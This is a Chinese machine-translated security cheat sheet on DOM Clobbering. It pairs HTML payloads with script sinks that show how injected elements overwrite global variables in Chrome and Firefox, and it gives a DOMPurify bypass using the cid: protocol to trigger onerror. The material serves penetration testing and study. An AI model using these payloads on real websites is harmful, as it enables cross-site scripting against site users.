DOMClobbering


文档摘要

DOM Clobbering DOM Clobbering 是一种技术,通过使用特定的 ID 或名称命名 HTML 元素,可以覆盖或“破坏”全局变量。这可能导致脚本出现意外行为,并可能引发安全漏洞。 概要 工具 方法论 实验环境 参考文献 工具 SoheilKhodayari/DOMClobbering - 针对移动和桌面 Web 浏览器的 DOM Clobbering 载荷综合列表 yeswehack/Dom-Explorer - 一款基于 Web 的工具,用于测试各种 HTML 解析器和清理器。 yeswehack/Dom-Explorer Live - 揭示浏览器如何解析 HTML,并发现变异的 XSS 漏洞 方法论 要进行攻击,页面中必须存在某种形式的 。

DOM Clobbering

DOM Clobbering 是一种技术,通过使用特定的 ID 或名称命名 HTML 元素,可以覆盖或“破坏”全局变量。这可能导致脚本出现意外行为,并可能引发安全漏洞。

概要

工具

方法论

要进行攻击,页面中必须存在某种形式的 HTML injection

  • 破坏 x.y.value

    // Payload <form id=x><output id=y>I've been clobbered</output> // Sink <script>alert(x.y.value);</script>
  • 使用 ID 和 name 属性共同破坏 x.y,形成一个 DOM 集合

    // Payload <a id=x><a id=x name=y href="Clobbered"> // Sink <script>alert(x.y)</script>
  • 破坏 x.y.z - 深度为 3 层

    // Payload <form id=x name=y><input id=z></form> <form id=x></form> // Sink <script>alert(x.y.z)</script>
  • 破坏 a.b.c.d - 深度超过 3 层

    // Payload <iframe name=a srcdoc=" <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe> <style>@import '//portswigger.net';</style> // Sink <script>alert(a.b.c.d)</script>
  • 破坏 forEach(仅限 Chrome)

    // Payload <form id=x> <input id=y name=z> <input id=y> </form> // Sink <script>x.y.forEach(element=>alert(element))</script>
  • 破坏 document.getElementById() using <html> or <body> tag with the same id 属性

    // Payloads <html id="cdnDomain">clobbered</html> <svg><body id=cdnDomain>clobbered</body></svg> // Sink <script> alert(document.getElementById('cdnDomain').innerText);//clobbbered </script>
  • 破坏 x.username

    // Payload <a id=x href="ftp:Clobbered-username:Clobbered-Password@a"> // Sink <script> alert(x.username)//Clobbered-username alert(x.password)//Clobbered-password </script>
  • 破坏(仅限 Firefox)

    // Payload <base href=a:abc><a id=x href="Firefox<>"> // Sink <script> alert(x)//Firefox<> </script>
  • 破坏(仅限 Chrome)

    // Payload <base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123> // Sink <script> alert(x.xyz)//a://Clobbered<> </script>

技巧

  • DomPurify 允许协议 cid:, which doesn't encode double quote ("): <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">

实验环境

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。以原始语言版本为准,其为具有法律效力的正式文件。对于关键信息,建议采用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U